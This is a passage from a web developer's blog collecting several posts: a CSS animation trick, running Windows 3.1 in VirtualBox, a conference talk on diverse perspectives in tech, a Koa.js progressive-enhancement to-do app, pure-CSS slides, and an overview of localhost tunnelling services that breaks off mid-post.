@keyframes popdown {
  50% {
    transform: translate(var(--tx, 0), 0) rotate(180deg);
  }
}

@keyframes popleft {
  50% {
    transform: translate(calc(100vw - 100%), var(--ty, 0)) rotate(-90deg);
  }
}

@keyframes popup {
  50% {
    transform: translate(var(--tx, 0), calc(100vh - 100%)) rotate(0deg);
  }
}

@keyframes popright {
  50% {
    transform: translate(0, var(--ty, 0)) rotate(90deg);
  }
}

JavaScript-y bits

There's probably a neater way to write this function, but I'm a lazy person. So this is it. Behold, the Chris Script (trademark pending)!

(function () {
  const chrisHeads = document.getElementsByClassName("jsChris");
  const nonsense = document.getElementById("nonsense");
  var lastActiveHead = null;

  function headAppear() {
    // the bit that does the random positioning
    nonsense.style.setProperty("--tx", Math.floor(Math.random() * 100) + 0 + "vw");
    nonsense.style.setProperty("--ty", Math.floor(Math.random() * 100) + 0 + "vh");

    // the bit that randomly assigns the .active class
    if (lastActiveHead) lastActiveHead.classList.toggle("active");
    const random = Math.floor(Math.random() * (chrisHeads.length - 1)) + 0;
    const randomHead = chrisHeads[random];
    randomHead.classList.toggle("active");
    lastActiveHead = randomHead;

    // the bit that determines how long before a Chris head pops out
    setTimeout(headAppear, 20000);
  }
  headAppear();
})();

If I do have some extra time on my hands, I'll think about how to refactor this thing to work with only 1 Chris head in the DOM. But for now, this implementation seems to serve its purpose.

Wrapping up

I don't know what the useful takeaway is here, other than CSS custom properties provide a really convenient way for JavaScript to hook into CSS. And that I tend to do many useless things with my time, but it was fun though, and isn't that kinda important? (I also had to Google how to spell convenient multiple times, shhhh… don't tell everyone)

Windows 3.1, a walk down memory lane

Wed, 20 Mar 2019 00:00:00 GMT

Welcome to yet another edition of Hui Jing doing things that have no practical use but do it anyway because why the hell not? In local parlance, we call this “shiok sendiri”, you can google that.

So my good friend and fellow retro-tech enthusiast, Kheng Meng, did me a solid and agreed to my hare-brained scheme for Talk.CSS #39. The idea was to run an original version of Windows 3.1 on his IBM ThinkPad 390 and load up Internet Explorer 3. Why IE3? Because it was the first commercial browser to support CSS.

Harebrained scheme as follows: Kheng Meng to provide the hardware and cover sysadmin responsibilities, while I build a site that loads up and displays well (as well as IE3 can muster), which is progressively enhanced for modern browsers.

The additional catch is that I will NOT test on the machine until the day itself. So this will either be spectacular or fail spectacularly. I'm leaning toward the latter but either way, loads of fun. If you're in Singapore on 22 May, 2019, come see this ridiculous idea live. Details on meetup.com.

Nostalgia kicks in

Kheng Meng, being his highly efficient self, had everything up and running within a week, I think. And he gamely lugged the estimated 7kg worth of hardware over to the Hackware meetup (where he talked about his experience getting his pilot's license, video here) for me to play with!

He already installed IE3, Netscape Navigator and Opera, but also included fun stuff, like SkiFree. If you don't know what SkiFree is, well, too bad, you missed out on hours of fun. This immediately triggered a lot of childhood memories, which were mostly games, to be honest.

Eventually, I decided to run my own copy of Windows 3.1 via VirtualBox so I could get access to the original Windows Entertainment Pack games. Again, if you have no idea what those are, you missed out. Good thing FOMO wasn't a thing back then, eh?

Windows 3.1 on VirtualBox

I found 2 solid tutorials covering end-to-end instructions for getting Windows 3.1 up and running well on VirtualBox. One is by Josh from Ballarat, Australia, who runs the awesome blog Socket 3, full of vintage goodness.

The article is Install & Configure MS-DOS 6.22 & Windows 3.1 using Oracle VirtualBox, and I pretty much had no issues with it at all except for the networking bit. After some googling, I think it might be because my host PC name was way too long.

Apparently the PC name has to be less than 8 characters but maybe it was 15 and under? I don't know. So in spite of having everything set up nicely, with my games installed and everything. I nuked it and tried again with Windows 3.1 for Workgroups instead the second time round.

Note, links to the disk images will be provided at the end

Follow all the instructions up to the point where the networking options kick in. Follow what you can from the original tutorial, and if you use the AMD PCNET Network Drivers.img file included, note that the location of the driver is in A:\WFW31

After some virtual swapping of installation floppy disks, things should be up and running. Though don't worry if you run into all kinds of X.EXT file not found issues, because I sure did.

Once Windows is installed and proven to be running properly, you can add in the fun stuff outlined in the tutorial, including a better graphics driver (which makes the screen bigger), and the well-loved TADA start up tune.

For the CD-ROM driver, I got it to work by following instructions from Chris Sprague titled Install MS-DOS 6.22 in a Virtual Machine for Fun and Profit. Grab the driver from his link and load it up like all the other installation disks you've used thus far.

Windows Entertainment Pack

This was pretty much my favourite thing way back when, you know, when attention spans were actually more than 5 minutes long. Anyway, I played Tetris until I could see blocks falling when I closed my eyes at some point.

But some of the other games were pretty time-wastey too, if you get it up and running, be sure to give RattlerRace and Rodent's Revenge a go. You'd be surprised at how addicting they can be. In fact, the suite of games from Windows Entertainment Pack ate up plenty of my childhood.

If you install the second Windows Entertainment Pack, you also get this early version of what eventually would become the game Microsoft Mahjong, that was most likely based off the original 1981 classic, Mah-jongg by Brodie Lockhart.

Also, SkiFree in all it's pixeley glory. This I had to copy onto a blank floppy disk image, then install it from A:\ because isn't that how we all installed games in the past? Now if I could only remember what that golf game I used to play was called…

Links

These are the installation sources I used that worked for me. If somehow something doesn't work for you, unfortunately, you'll probably have to do some googling for alternate installation floppy images. Hopefully it doesn't come to that.

WinWorld for links to OS, Entertainment Pack
ET4000 SVGA video driver, obtained from Josh’s site
SoundBlaster 16 sound driver, obtained from Josh’s site
CD-ROM driver, obtained from Chris’s site

The value of sharing our perspectives

Mon, 11 Mar 2019 00:00:00 GMT

I just got home from DevRelCon Tokyo, which was my first DevRel conference ever. It was a really valuable experience for me to hear other DevRel folk share their experiences and knowledge about the many aspects to Developer Relations, from documentation to community building to client SDKs and more.

This is a sort of transcript of a lightning talk I did. (More details about that idea itself after that if you're interested 😬)

Transcript start…

This morning I read an article, The deadly truth about a world built for men – from stab vests to car crashes. And it opened with an anecdote about broadcaster Sandi Toksvig’s experience while studying anthropology in University.

Her female professor showed the class a photo of an antler bone with 28 markings on it. She told the class that it was allegedly man’s first attempt at a calendar. And while her students were admiring this antler bone, she continued, “Tell me, what man needs to know when 28 days have passed? I suspect that this is woman’s first attempt at a calendar.”

The article goes on to talk about how the world was designed from a man’s perspective, examples from healthcare, the design of tools and protective equipment, the gadgets we use, voice recognition software and so on. There are physiological differences between men and women, and many of the things we use in our daily lives are just a little to big for women, just a little too heavy, just a little too male.

In our industry, the tech industry, the predominant perspective is unfortunately, young, white and male. There are many historical factors that have contributed to this situation we have now, and it’s a situation that needs course correction.

My name is Chen Hui Jing and I’m from Malaysia.

I’m a developer advocate with Nexmo and am currently based out of Singapore. For me, I grew up speaking Hokkien, English and Chinese.

Southeast Asia is made up of 11 countries and 10 of them had been colonised by European powers in the past. When I was a kid, I always got the feeling that our society viewed Westerners as “better”. We watched television shows and movies produced in Hollywood, listened to English pop music, played American-made video games.

And as I was growing up, I wondered why we knew so much about these Western powers, but they didn’t know anything about us. Why are we so surprised and impressed when a Westerner speaks our language, but we don’t have the same admiration for locals who speak English?

Please note that I have nothing against English, I recognise the benefit of having a so-called global language that facilitates communication amongst all the world’s people. But when only a small number perspectives dominate over others, we lose something as well.

For example, print technology. When we talk about printing, many people immediately think about Gutenberg and the printing press. It is less known outside of East Asia, that the first moveable type emerged from China.

It was invented by an ordinary citizen, Bi Sheng, during the Qingli reign from 1041-1048. Korea adopted Bi Sheng's idea of moveable-type printing during the Kingdom of Goryeo and brought it to new heights during the Kingdom of Joseon. All this happened way before Gutenberg.

The stories being told matter. Who tells these stories matter as well.

Moveable type worked very well for alphabetic languages, with a limited set of alphabets that could be combined to form words, sentences and paragraphs. But there are plenty of scripts like Arabic and Devanagari, where the letterforms are different depending on its position in the word.

Or scripts that utilise Han characters, like Chinese, Japanese and Korean, which consist of tens of thousands of different glyphs. We managed to develop some form of letter-press printing, but in doing so, we compromised the beauty of our native scripts.

Ali Spivak mentioned this morning that diversity is about variety, the inclusion of different types of people in a group or organisation. Diversity of thought, perspective, culture. The importance of regional representation, that it is vital speakers represent the diverse range of people working in technology today.

Voice recognition software has become more prevalent in recent years, we have Siri, Alexa, Cortana and so on. But Rachael Tatman, a linguist researcher and National Science Foundation Graduate Research Fellow at the University of Washington, found that automatic transcriptions on Youtube were almost 70% more accurate for male speakers than female.

And when the auto industry started implementing voice commands in vehicles, women had a tougher time utilising this technology than men.

Training of such software requires large datasets, and developers who build them either record their own voices or voices of other linguistic researches, but sometimes these datasets don’t include diverse speakers.

Mozilla has a Common Voice initiative to help combat this issue. But this is just one example among many in the tech industry where products inadvertently end up working well only for a small set of people, while the rest have a compromised experience.

The world is full of diverse cultures and because our cultures are different, we value different things. We cannot wait for organisations and companies, like Mozilla, to cater their products to us, because most of them don’t. Often it is not because they want to ignore us, but because they are not conciously aware of us.

I recently watched a TED talk by Nigerian author Chimamanda Ngozi Adichie, on the danger of a single story. Having just a single story of an entire group of people, an entire nation, is a dangerous thing. And I completely agree with her when she said, “by showing a people as one thing, and only one thing, over and over again, and that is what they become.”

We, and I say we as an Asian person who grew up in an Eastern culture, generally don’t really speak up. Public speaking is challenging for everyone, regardless of where they come from, but I think it’s especially hard for people from Eastern cultures. Often times, I get the feeling of, what I’m doing isn’t that great, or who am I to stand in front of other people, like yourselves, and talk about what I do?

But then you have this small group of young, white men in tech who demand that their voices be heard, they write all kinds of blog posts and articles, speak publicly and loudly about the work they are doing, how awesome they are and so on. And this builds a false impression that this is what the world is like.

It is high time that we start sharing our perspectives, all our different perspectives. Because even though it is not something that most of us are naturally conditioned to do, there is value in contributing our perspectives to the world.

Are there any web developers in the audience today?

Back in 2016, there was a WIRED article titled The Average Webpage Is Now the Size of the Original Doom, which was 2.39mb.

Now, internet infrastructure varies widely across the world, but in many developing countries, data infrastructure is lacking and expensive. Even something as benign as forgetting to optimise your website’s images, can add up to a significant portion of an user’s income in Niger or Madagascar, for example.

That’s why it is important for developers from those regions, and every region around the world for that matter, to make their voices heard, and bring a greater awareness of the situations and contexts that we operate in.

Jarod mentioned just now how important is was to for conferences to have minimum standards for diversity and inclusion, and that's a step in the right direction in terms of conference organisation. But there's also much work to be done from the side of speakers, and content creators in general.

This is not something that will change overnight, but we have to start somewhere. Start by contributing to open-source projects, and pointing out if a particular feature or design decision is missing something. Start by writing about your work, your opinions and your stories, to show the rest of the world a different way of working and thinking.

And, even if it feels scary, to start speaking about what you’re working on, or things you’re interested in, because it matters to have people on stage who look like us, to inspire anyone who looks like you or identifies with you that they too have something valuable to say.

Thank you.

End of transcript

How the talk came about

DevRelCon Tokyo had a lightning track this year and they took submissions all the way till lunch time on the day of the conference. Before I got to the venue that morning, I read an article on Guardian about how the world is built for men, which sometimes lead to deadly consequences for women.

Somehow this was the article that triggered me to submit a lightning talk on the value of sharing our perspectives. “Our” in this context was those of us who grew up in an Eastern culture, but I think it can apply to anyone who isn't in a position of privilege.

The talk did not exist when I wrote the topic on the Lightning Talk Submissions board that morning. But I think the ideas had taken shape in my brain over a long time.

Just the night before, I was chatting with Tomomi Imura (NexmoDev alumni and one of my favourite people to hang out with) and she mentioned how difficult it was to get Japanese to do public speaking.

I was also fresh off the experience of organising the Singapore chapter of global diversity CFP day, so maybe that was a factor as well. Regardless, this talk was an organisation of the many thoughts and opinions I've had in my head for a while.

That being said, I don't recommend pulling together a talk on the day itself, even if it is a lightning talk (maybe especially if it is a lightning talk, because of stricter time constraints). Thankfully, I received positive feedback about it and I think it was recorded, so I'll share that when it gets published as well. Meanwhile, have some slides.

Update:
Video has been released, and here it is! ヾ(＾ ᴗ ＾)ノ

An exercise in progressive enhancement

Tue, 05 Mar 2019 00:00:00 GMT

I've had more opportunities to work on the server-side of things these past couple of months, specifically in Node.js, and Glitch has been an integral part of my learning process.

A recent project I've been tinkering with was a good use case for me to familiarise myself with the actual implementation of a site that works without JavaScript, but is enhanced by JavaScript when it is available.

There are numerous articles that talk about the benefits of progressive enhancement, all of which I agree with, but as someone who hadn't had to worry too much about the server-side implementation of things, I had not written server-side code that catered for it before.

This will be a write-up of my thought process and implementation details of my approach to progressive enhancement on a very small Koa.js to-do list application.

Disclaimer, this is not the prettiest code, odds are its not entirely best practice either. But it's a start, and can only get better from here.

A basic Koa.js application on Glitch

If you're already using Glitch, please skip all this. For people who have yet to discover the amazing platform that is Glitch, when you first land, you can choose what type of project you want to build. There are 3 presets, a simple website (no backend), a Node application and a Node application with a SQlite database. I went with the second option.

If you'd like to make sure your project persists, it's a good idea to sign up for a Glitch account. Glitch has been making feature improvements fairly frequently, so this may change if you're reading far into the future, but as of time of writing, they support sign in via Facebook, GitHub, Email or sign-in code.

By default, Node applications on Glitch run on Express, which is totally fine. I chose to use Koa.js for my project, so there are a couple more steps to go through for that.

If you click on Tools at the bottom left of the screen, you will bring up some options, like Logs, Console, Container Stats and so on.

Logs is great to have open when developing your application because everything you console.log() shows up here.

To customise the npm modules you want to use in your project, you can access the command line as you would your local machine or remote server. One thing to note is that instead of npm, Glitch uses pnpm as the package manager.

Remove express by running the following:

pnpm uninstall express

Then, install Koa.js by running the following:

pnpm install koa --save

To verify the npm modules being used in your project, you'll have to refresh the environment:

refresh

Once you've done that, you should see an “Error” indicator next to Tools. That's fine because in the server.js file, you are requiring the Express framework which is no longer there.

The next thing to do is to rewrite basic server code to use Koa.js. You can do that yourself or paste the following code into your newly created file.

const Koa = require("koa");
const port = process.env.PORT || 3000;
const app = new Koa();

app.use(async (ctx) => {
  ctx.body = "Hello Dinosaur 🦖";
});

const listener = app.listen(port, function () {
  console.log("Your app is listening on port " + listener.address().port);
});

If all went well, clicking on the Show button on the top nav bar should trigger your application in a new window with the text, “Hello Dinosaur 🦖”.

Libraries used

Koa.js (and relevant middleware)
Nunjucks
lowdb
lodash-id (for generating database ids)

Koa.js is the framework behind the application, for serving, routing, handling of API requests and responses etc. As the core Koa.js framework is rather barebones, various middlewares have to be added where needed. For this project I added the following:

koa-static for serving static assets
koa-bodyparser for handling data sent over via POST requests
koa-router for routing
koa-views for rendering nunjucks templates (also requires nunjucks to be installed)

Nunjucks is the templating engine for rendering data on the frontend, while lowdb is a very simple JSON database, great for prototypes like this application. All the database related functions can be easily swapped out for another more “serious” database.

Serving static assets

const serve = require("koa-static");
app.use(serve("./public"));

This is probably going to be the least complicated bit to cover, the serving of static assets like CSS and client-side JavaScript from the /public folder.

Basic routing and rendering

HTML files can be rendered with koa-views, which provides a render() function. I also configured the application to map .html files to use Nunjucks templating engine. The database-related functions will be covered in the next section.

const Router = require("koa-router");
const views = require("koa-views");
const router = new Router();

app.use(views("./views", { map: { html: "nunjucks" } }));

router.get("/", (ctx, next) => {
  // Function to get items from database
  const items = dbGetItems();
  return ctx.render("./index", { items: items });
});

router.get("/clear", (ctx, next) => {
  dbClear();
  ctx.response.redirect("/");
});

app.use(router.routes()).use(router.allowedMethods());

For things to work without client-side JavaScript, I used HTML forms to collect user input. This meant some POST routes had to be set up as well. To update the page after a form submission, I included a ctx.response.redirect() to refresh the page and render the updated contents.

/* This should appear before any routes */
app.use(bodyParser());

router.post("/add", (ctx, next) => {
  const payload = ctx.request.body;
  // Function to add task to database
  dbAddTask(payload);
  ctx.status = 200;
  ctx.response.redirect("/");
});

router.post("/update/:id", async (ctx, next) => {
  const id = ctx.params.id;
  dbUpdateTask(id);
  ctx.status = 200;
  ctx.response.redirect("/");
});

koa-router also provides a way to access URL parameters via ctx.params, and I make use of this to find the corresponding database entry for updating.

Interacting with the database

For this to-do list, the tasks will be stored in a database to be retrieved for rendering on the frontend, and updated accordingly as tasks are completed. I'm using lowdb here, but the code can be swapped out for any database of your choice.

const low = require("lowdb");
const FileSync = require("lowdb/adapters/FileSync");
const lodashId = require("lodash-id");

const adapter = new FileSync(".data/db.json");
const db = low(adapter);

/* Initial database setup */
db._.mixin(lodashId);
db.defaults({ items: [] }).write();

My to-do list had only 4 database operations, a function for adding a new task, a function for retrieving all tasks, a function for updating a task and a function for clearing the entire database.

function dbAddTask(data) {
  return db.get("items").insert({ task: data.task }).write();
  console.log("New user inserted in the database");
}

function dbGetItems() {
  return db.get("items").value();
}

function dbUpdateTask(id) {
  db.get("items").find({ id: id }).assign({ status: "Done" }).write();
}

function dbClear() {
  db.get("items").remove().write();
  console.log("Database cleared");
}

At this point, the application is pretty much working. You can add a new task by submitting a form that posts to the /add endpoint, update a task status by posting to the /update/:id endpoint and the page will refresh to load the updated content.

Every form submission will refresh the page

Sorry, your browser doesn't support embedded videos. Sorry, your browser doesn't support embedded videos, but don't worry, you can download itand watch it with your favourite video player!

Adding the client-side JavaScript

If you don't want a refresh every time a task is added or updated, then some Ajax will be required. I'm using Fetch for this, but you can use something else if you want.

For example, when adding a new task, I hijack the normal form submission and use Fetch to send a POST request with a JSON payload to the /add route instead.

const addItemForm = document.getElementById("addItemForm");
const addFormHandler = (event) => {
  event.preventDefault();
  const data = formToJson(addItemForm.elements);
  addItem(data);
  addItemForm.querySelector('input[name="task"]').value = "";
};
addItemForm.addEventListener("submit", addFormHandler, false);

const addItem = (data) => {
  fetch("/add", {
    method: "post",
    headers: {
      "Content-Type": "application/json",
    },
    body: JSON.stringify(data),
  })
    .then(function (res) {
      return res.json();
    })
    .then(function (data) {
      renderItemTable(data);
    })
    .catch(function (error) {
      console.log(error);
    });
};

Here I'm using an utility function, formToJson() to grab the form values and format them into a JSON object. I'm also parsing the response data into a table with the renderItemTable(data) function.

const renderItemTable = (data) => {
  const tableContent = document.getElementById("itemList");
  if (tableContent.children.length === 1) {
    tableContent.innerHTML = itemTableMarkup;
    const itemRows = document.getElementById("itemRows");
    const newRow = document.createRange().createContextualFragment(renderItemRow(data));
    itemRows.appendChild(newRow);
  } else {
    const itemRows = document.getElementById("itemRows");
    const newRow = document.createRange().createContextualFragment(renderItemRow(data));
    itemRows.appendChild(newRow);
  }
};

If there are no tasks in the database, the table headers have to be generated in addition to the new task. For subsequent tasks, they can be appended to the table accordingly. Template literals makes the markup generation much easier.

const itemTableMarkup = `
  <div class="table">
    <div class="thead">
      <div class="tr">
        <div>#</div>
        <div>Task</div>
        <div>Status</div>
      </div>
    </div>
    <div class="tbody" id="itemRows">
    </div>
  </div>
  <a class="btn" href="clear">Clear database</a>
`;

const renderItemRow = (data) => {
  const item = data.item;
  const index = data.count;
  return `
    <form class="tr jsItem" method="post" action="update/${item.id}" data-id=${item.id}>
      <div>${index}</div>
      <div>${item.task}</div>
      <div class="status-cell">
       ${((status) => {
         if (status) return "Done";
         else return `<button class="jsItemDone">Mark done</button>`;
       })(item.status)}
      </div>
  </form>
  `;
};

On the server-side of things, the response is slightly different depending on whether AJAX is used or not.

router.post("/add", (ctx, next) => {
  const payload = ctx.request.body;
  const contentType = ctx.request.header["content-type"];
  const nonAjax = contentType.includes("www-form");
  const newItem = dbAddTask(payload);
  ctx.status = 200;

  if (nonAjax) {
    ctx.response.redirect("/");
  } else {
    const itemCount = dbItemCount();
    const resData = JSON.stringify({
      item: newItem,
      count: itemCount,
    });
    ctx.body = resData;
  }
});

I'm using the Content-Type header as the identifier to differentiate whether the request was made via AJAX or not. Not sure if this is the proper way of doing things, but it sort of works? A default form submission would have the application/x-www-form-urlencoded header, so…

No reload, just parsing the response data

Sorry, your browser doesn't support embedded videos. Sorry, your browser doesn't support embedded videos, but don't worry, you can download itand watch it with your favourite video player!

Wrapping up

This was a tiny project, but because of how small its scope was, it made it easier for me to dig into what was absolutely neccessary, then figuring out which libraries I needed to help me get the job done. (You don't see it but it took me a long time to figure out koa-views plus koa-router plus koa-static working together)

I found that HTML out-of-the-box takes care of a lot of things when it comes to collecting user inputs from the front-end, which resulted in much less code required. This is not to say client-side JavaScript is bad, because the experience was smoother (and faster) when I used it for updating content.

The entire project is up on Glitch if you're interested in the full code I used to make the application work. Feel free to poke around, remix it and make it better.

P.S. I am a Glitch fangirl. I'm not ashamed. Give it a try, you might love it too. 🙃

HTML slides without frameworks, just CSS

Sat, 09 Feb 2019 00:00:00 GMT

I am a huge fan of reveal.js and have used it for almost every talk I've ever given. It is a full-featured presentation framework with loads of nifty features, like speaker notes, full-screen mode, code syntax highlighting etc.

But sometimes, I just need to toss up a handful of information on a screen at a local meetup or office presentation. And as a result of being a web developer, I'm way more comfortable controlling and adjusting my layouts with CSS than with a pointy-clicky interface.

I came across an implementation by Ondřej Žára for pure CSS slides and dug into his codebase to see what I could use for my own watered-down HTML slides. For a pure CSS implementation, it's pretty full-featured, and you should check it out regardless.

The `:target` pseudo-class

What I wanted was a good way to transition from slide to slide, and I noticed Ondřej's use of the :target pseudo-class. It is a selector that matches an element with an id matching the current URL's fragment, which is denoted by the # sign.

For example, if your site has an element with the id of dinosaur, you can navigate to that element from the address bar using the URL, https://www.example.com/index.html#dinosaur. And if that is the current URL, the following CSS rule will apply to the #dinosaur element:

#dinosaur:target {
  background-color: green;
}

End result should look like this

Sorry, your browser doesn't support embedded videos. Sorry, your browser doesn't support embedded videos, but don't worry, you can download itand watch it with your favourite video player!

And with that, we can let the shenanigans commence.

Markup structure

The HTML structure can be fairly simple.

<main>
  <section id="slide1"></section>
  <section id="slide2"></section>
  <section id="slide3"></section>
  <section id="slide4"></section>
  <section id="slide5"></section>
</main>

Each slide can be a section which takes up the full height of the viewport. And we can achieve that with relative ease using viewport units. Viewport units are as their name suggests, CSS units that are relative to the size of the viewport.

We have vw, vh, vmax and vmin. For the purpose of making a HTML slidedeck, the relavant unit here is vh or viewport height. By setting a height of 100vh to each section, they will always be the height of the viewport, no matter how you resize the browser.

Full height all day every day

Sorry, your browser doesn't support embedded videos. Sorry, your browser doesn't support embedded videos, but don't worry, you can download itand watch it with your favourite video player!

Each slide has a unique id that can be targeted, which will be the mechanism for slide controls.

Browsing through slides like a boss

Sorry, your browser doesn't support embedded videos. Sorry, your browser doesn't support embedded videos, but don't worry, you can download itand watch it with your favourite video player!

So where's the :target pseudo-class in all this? Hang on, we're coming to that. What we did earlier was make the browser jump to the top of each section, you can still scroll up and down, making your presentation behave like a web page instead of a slide deck.

If that's what you want it to do, great. You're done for the day, to be honest. But let's say we don't want that scroll bar activated. We want the active slide in the viewport and that's it. Then that's when the :target pseudo-class comes into play.

Stacking your slides

But before getting into that, let's visualise how the slide deck will behave.

Each slide is the same size and positioned on top of each other

We will style the sections such that only one slide is visible at any one time by stacking them over each other, then utilise the URL fragments to indicate which slide should be active.

So. Stacking along the z-index eh? We now have more than 1 option for achieving something like that. Let's cover the tried-and-tested technique of position and z-index. The z-index property only applies to positioned boxes, which are boxes that have a position value of anything other than the default value of static.

There are now 4 other values for position, namely relative, absolute, fixed and sticky, sticky being a new addition. Elad Shechter wrote an excellent in-depth write-up of how it works, so do give it a read.

According to the specification:

The root element forms the root stacking context. Other stacking contexts are generated by any positioned element (including relatively positioned elements) having a computed value of 'z-index' other than 'auto'.

So once you apply a position property to a box, you can use the z-index property to adjust its stack level. Setting position: absolute on a box removes it from normal flow and causes it to be explicitly offset with respect to its containing block.

Contents of an absolutely positioned element don't flow around other boxes, if they have a higher stack level, they're just going to cover whatever is below them.

Stack 'em up

Sorry, your browser doesn't support embedded videos. Sorry, your browser doesn't support embedded videos, but don't worry, you can download itand watch it with your favourite video player!

To stack them all up, apply a position: absolute and width: 100% on each slide section. Some of you might be thinking, what's the difference between having a width: 100% on an absolutely positioned element versus setting all the offset values to 0? (e.g. top: 0; right: 0; bottom: 0; left: 0) Good thing someone else had the exact same question.

Keith J. Grant wrote an analysis of the difference between these 2 approaches and found that if you use width: 100% with additional margins around the element, it will get shifted out of its positioned ancestor.

But since I want my slides to fill up the viewport, I'm not using margins at all, so I'd rather do a single line than 4. 🤷

The next thing is to adjust the z-index for the active slide to be higher than all the other inactive slides with our trusty :target selector.

section {
  height: 100vh;
  width: 100%;
  position: absolute;
  z-index: 0;
}

section:target {
  z-index: 1;
}

Some people handle z-indexes differently, using denominations of 10 or 100, but honestly, between 2 elements, whoever has the higher integer value wins, regardless whether it's by 1 or 1000.

Look, ma… No scrollbar!

Sorry, your browser doesn't support embedded videos. Sorry, your browser doesn't support embedded videos, but don't worry, you can download itand watch it with your favourite video player!

Sprinkle on some animation

To add some semblance of professionalism to this endeavour (who am I kidding?), I think some slide transitions are in order. CSS also offers a lovely suite of animation options for this. You can rotate, zoom, slide in and out, all with CSS transforms.

If you looked at Ondřej's slides, he used a rotate effect, so let's try that out. There are 3 position states for this, before entering in viewport, active in the viewport, and left the viewport.

In 'n out

The default transform-origin is 50% 50%, which means the element will rotate around its centre. To have a corner rotate like the one in the diagram, set the value to 0 0. All slides start out rotated 90 degrees clockwise out of the viewport, while slides leaving will be rotated 90 degrees anti-clockwise up and out.

We can make use of the sibling selector to target slides that come after the active slide, and add in some transition values to make the animation appear smoother:

section {
  height: 100vh;
  width: 100%;
  position: absolute;
  z-index: 0;
  transform: rotate(90deg);
  transform-origin: 0 0;
  transition: transform 1s, opacity 0.8s;
}

section:target {
  transform: rotate(0deg);
  z-index: 1;
}

section:target ~ section {
  opacity: 0;
  transform: rotate(-90deg);
}

When the slide is rotated out of the viewport, it somehow triggers the scrollbar. I have not figured out the exact reason for this though I do know the solution is to add an overflow: hidden to the body element. I should research this some more, because this doesn't happen when I use translate.

Wrapping up

One more thing to take note of is that when your slides first load, there will not be any URL fragment triggered, meaning none of your slides will be active. To workaround this issue, add a link to the first slide which will show up on first load, making sure it is also a positioned element.

Press start to begin

Sorry, your browser doesn't support embedded videos. Sorry, your browser doesn't support embedded videos, but don't worry, you can download itand watch it with your favourite video player!

Feel free to try out other CSS transforms for more slide transitions if rotate doesn't suit your style. But if your slide requirements are reasonably simple, why not try something like this? You can even toss it onto some free static site hosts and have it accessible wherever you go. 😎

For a live implementation of this, check out the slides used for introducing Talk.CSS

Tunnelling services for exposing localhost to the web

Tue, 05 Feb 2019 00:00:00 GMT

My past experience with exposing a project running on my local machine to a public URL was mostly to invoke the “phone-a-friend” option when I was troubleshooting stuff and needed help. In case you didn't know, I used to build websites for a living. I still do that now, it's just not the day job any more.

Another use-case was testing on Opera Mini. Browsersync is a key part of my web development process, especially when doing cross-browser testing. Unfortunately, it doesn't run on Opera Mini, so using a public URL service was a viable workaround.

Developing with API platforms like Nexmo often means dealing with webhooks. Webhooks are used by lots of applications, like Github, Dropbox, Heroku and so on, and make it convenient for developers to integrate their own applications with these services. In a nutshell, they allow one application to inform another when something happens. To quote Jeff Lindsay:

Web hooks are essentially user defined callbacks made with HTTP POST. To support web hooks, you allow the user to specify a URL where your application will post to and on what events.

This means the application you're building should have a route set up to handle incoming POST requests to the webhook URL. Here's my crude attempt at illustrating how the Nexmo's Messages API deals with inbound SMS to your application:

How an SMS goes through Nexmo to your application

In order for Nexmo (or whichever service you're trying to integrate) to make a successful HTTP request to your application, it has to be publicly accessible over the web. Most of the time, we access the internet through private IP networks by connecting to a nearby router.

Routers, for security purposes, generally don't allow communication from devices outside the network without additional configuration. And you'd probably need a static IP address from your internet service provider as well.

If you happen to have some publicly accessible servers on hand, could be an AWS instance, DigitalOcean droplet, box under your desk, you could also try port forwarding using OpenSSH. Michael Blancard wrote a comprehensive blog post on how to set that up.

But if configuring servers really isn't your thing, it's probably time to consider some tunnelling services.

Tunnelling services

According to Wikipedia, a tunnelling protocol is a communications protocol that allows for the movement of data from one network to another. It involves allowing private network communications to be sent across a public network, such as the Internet, through a process called encapsulation.

For a detailed explanation of how tunnelling services work, I suggest this Stack Overflow answer by AJ ONeal. Exposing your local web server to the world via reverse proxy does have security implications, so if you're doing this on your corporate network, it's a good idea to inform your network/IT administrator beforehand.

You can always take precautionary measures like enforcing HTTPS, or using password protection, so perhaps this might factor into your choice of service, though as you'll see, reverse proxy is not the only implementation available.

Free options

ngrok

ngrok is probably the go-to solution for this. Either that, or their SEO is on point. If you google “public localhost”, it comes out tops. Technically, it isn't free, more like freemium, but the free tier costs zero dollars and is sufficient for most development purposes.

Let's also answer the question of how to pronounce “ngrok” from the founder himself:

@Noamshemesh I pronounce it en-grok
— Alan Shreve (@inconshreveable) March 12, 2014

You'll be asked to sign up for an account to get an authtoken for access to a bunch of nifty features. ngrok has a pretty good on-boarding documentation which covers most of the common questions and tasks you may want to achieve. There are installers for Windows, Mac and several Linux flavours.

For Unix-based systems like Mac/Linux, you can move the binary to a location on your $PATH so you can use the ngrok command anywhere, or add an alias to the binary for easier access.

Windows has a system PATH as well, though it's a tad more complicated to add things to it. Thankfully, comprehensive instructions for this exists on the interwebs. To find out more about $PATH, this A List Apart article can help.

The authtoken is generated for your account automatically, so just copy the command in step 3, modify it depending on how ngrok is accessed via your command line and you should be good to go. Make sure your local web server is running, and take note of which port you're using.

For example, if your application is running on port 3000, then use the following to start a HTTP tunnel:

ngrok http 3000

If all goes well, your local web server will be accessible publicly

And if you log into your ngrok account, you can see the list of HTTP tunnels you have online at the moment.

For you to keep track of your HTTP tunnels

Another useful feature ngrok provides is a way to inspect all requests your public URL received. If you look at the list of information logged in your console when you first run ngrok, you'll see a URL for Web Interface, by default it is http://127.0.0.1:4040.

For you to keep track of your HTTP tunnels

You can also replay a particular request. So if triggering a particular request in your application requires a series of steps, you can skip all that and just resend the request to your local server using ngrok.

ngrok is very feature-ful, so it's a good idea to poke around the documentation to see what's possible. ngrok's paid features include use of custom/reserved domains (instead of having a random string every time you run it), reserving of TCP addresses and IP whitelisting, among others.

Serveo

Update (24 Jul 2020): seems like they have gone offline

Serveo (used to be at https://serveo.net/) is an alternative to ngrok. It even says so on its website. A key difference is there is no installation required. Serveo forwards all traffic that hits the unique URL it provides you to your localhost server via SSH.

To get that public URL (adjust your port number and hostname accordingly), run the following:

ssh -R 80:localhost:3000 serveo.net

You will get a message about the RSA key fingerprint of the server asking if you'd like to continue connecting. Say yes and the server will be added to your list of known hosts.

You'll notice that there is an option to trigger a GUI. It's not really a graphical user-interface as how we'd expect because this interface still runs on the command line, but there is the option to replay requests and inspect details of the request, just like ngrok.

It also preserves the allocated URL for free, so that might be something that's appealing to some of you.

Localtunnel

Localtunnel is an open-source project that does exactly the same thing as the previous 2 services. You'll need to have Node.js installed on your machine so you can install it via npm.

npm install -g localtunnel

